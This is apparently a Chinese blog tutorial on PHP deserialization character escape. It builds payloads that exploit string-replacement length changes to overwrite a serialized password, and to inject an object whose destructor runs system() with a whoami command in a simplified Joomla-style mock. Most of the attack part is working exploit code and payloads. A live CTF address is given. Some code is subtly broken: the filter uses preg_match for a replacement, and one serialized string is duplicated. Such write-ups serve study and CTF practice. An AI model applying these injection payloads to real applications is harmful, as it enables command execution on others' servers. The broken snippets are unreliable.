详解PHP反序列化中的字符逃逸

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下述所有测试均在 php 7.1.13 nts 下完成
先说几个特性，PHP 在反序列化时，对类中不存在的属性也会进行反序列化
PHP 在反序列化时，底层代码是以 ; 作为字段的分隔，以 } 作为结尾(字符串除外)，并且是根据长度判断内容的
比如：在一个正常的反序列化的代码输入 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} ，会得到如下结果
如果换成 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa"; 仍然是上面的结果，但是如果修改它的长度，比如换成 a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";} 就会报错
这里给个例子，将 x 替换为 yy ，如何去修改密码？

<?php
function filter($string){
    return preg_match('/x/','yy',$string);
}

$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);

var_dump(serialize($user));
echo '\n';

$r = filter(serialize($user));

var_dump($r);
echo '\n';

var_dump(unserialize($r));

正常情况下的序列化结果为 a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
那如果把 username 换成 peri0dxxx ，其处理后的序列化结果为 a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";} ，这个时候肯定会反序列化失败的
可以看到 s:9:"peri0dyyyyyy" 比以前多了 3 个字符
回到前面， a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";} 想一下，它在进行修改密码之后就变为 a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}
可以看到需要添加的字符串 ";i:1;s:6:"123456";} 长度为 20
假设要在 peri0d 后面填充 4 个字符，那么就是 s:30:'peri0dxxxx";i:1;s:6:"123456";}'; 在经过处理之后就是 s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}'; 读取 30 个字符为 peri0dyyyyyyyy";i:1;s:6:"12345
这就需要继续增加填充字符，在有 20 个 x 时，就实现了密码的修改
可以看到，这和 username 前面的 peri0d 是毫无关系的，只和做替换的字符串有关

看一看 Joomla 的逃逸

看到有人写了简易版的 Joomla 处理反序列化的机制，修改之后代码如下:

<?php
class evil{
	public $cmd;

	public function __construct($cmd){
		$this->cmd = $cmd;
	}

	public function __destruct(){
		system($this->cmd);
	}
}

class User
{
	public $username;
	public $password;

	public function __construct($username, $password){
		$this->username = $username;
		$this->password = $password;
	}

}

function write($data){
	$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
	file_put_contents("dbs.txt", $data);
}

function read(){
	$data = file_get_contents("dbs.txt");
	$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
	return $r;
}

if(file_exists("dbs.txt")){
	unlink("dbs.txt");  
}

$username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

详细的代码逻辑不再阐述，它这里就是先将 chr(0).'*'.chr(0) 这 3 个字符替换为 \0\0\0 这 6 个字符，然后再反过来
我们这里最终的目的是实现任意的对象注入
正常来说，这个序列化结果为 O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";} ，我这里的目的是要把 password 的字段替换为我的 payload 即 s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
那么可以想一下，一种可能的结果就是 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
如果不清楚这个序列化怎么得到的，可以做一个反向的尝试，因为这是已经知道了要进行对象注入，可以在 User 中多加一个 $ts

<?php
class evil{
	public $cmd;
	public function __construct($cmd){
		$this->cmd = $cmd;
	}
	public function __destruct(){
		system($this->cmd);
	}
}

class User
{
	public $username;
	public $password;
    public $ts;
	public function __construct($username, $password){
		$this->username = $username;
		$this->password = $password;
	}
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
// O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}

这个序列化结果中，";s:8:"password";s:4:"1234 长度为 26 ，加上 peri0d 的 6 就是 32 了，这样就覆盖了 password 及其值，再将前面的属性改为 2 就符合原来的源码含义了，而且它是可以成功反序列化的
接下来就是如何构造 O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}} ，很明显要利用前面的替换使 peri0d 扩增来覆盖 password ，然后将 payload 作为 password 的值输入，以达到 payload 注入
先修改 username="peri0d\\0\\0\\0" 和 $password = "123456".$payload 得到序列化结果为 O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
发现有问题，修改 $password = '123456";'.$payload."}"
就得到了符合规范的序列化结果 O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";}
这个肯定反序列化不了，这里就想一下，如果可以反序列化，结果如下，用 N 代表 NULL : O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";}
这就会多出来 3 个字符，这里一定是按照 3 的倍数进行字符增加的，而 ";s:8:"password";s:56:"123456 长度为 29 ，这就需要进行增加或减少，从而去凑 3 的倍数，这里选择减少，使 password 为 1234 则长度为 27 ，即需要 9 组 \0\0\0
最终的 payload :

<?php
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));

结果：
顺便扯一句，这个可以作为一个 CTF 赛题出现，题目名就叫 Joomla，完全没毛病
题目地址：http://47.101.71.47:9000/

看一看 Joomla 的逃逸

参考链接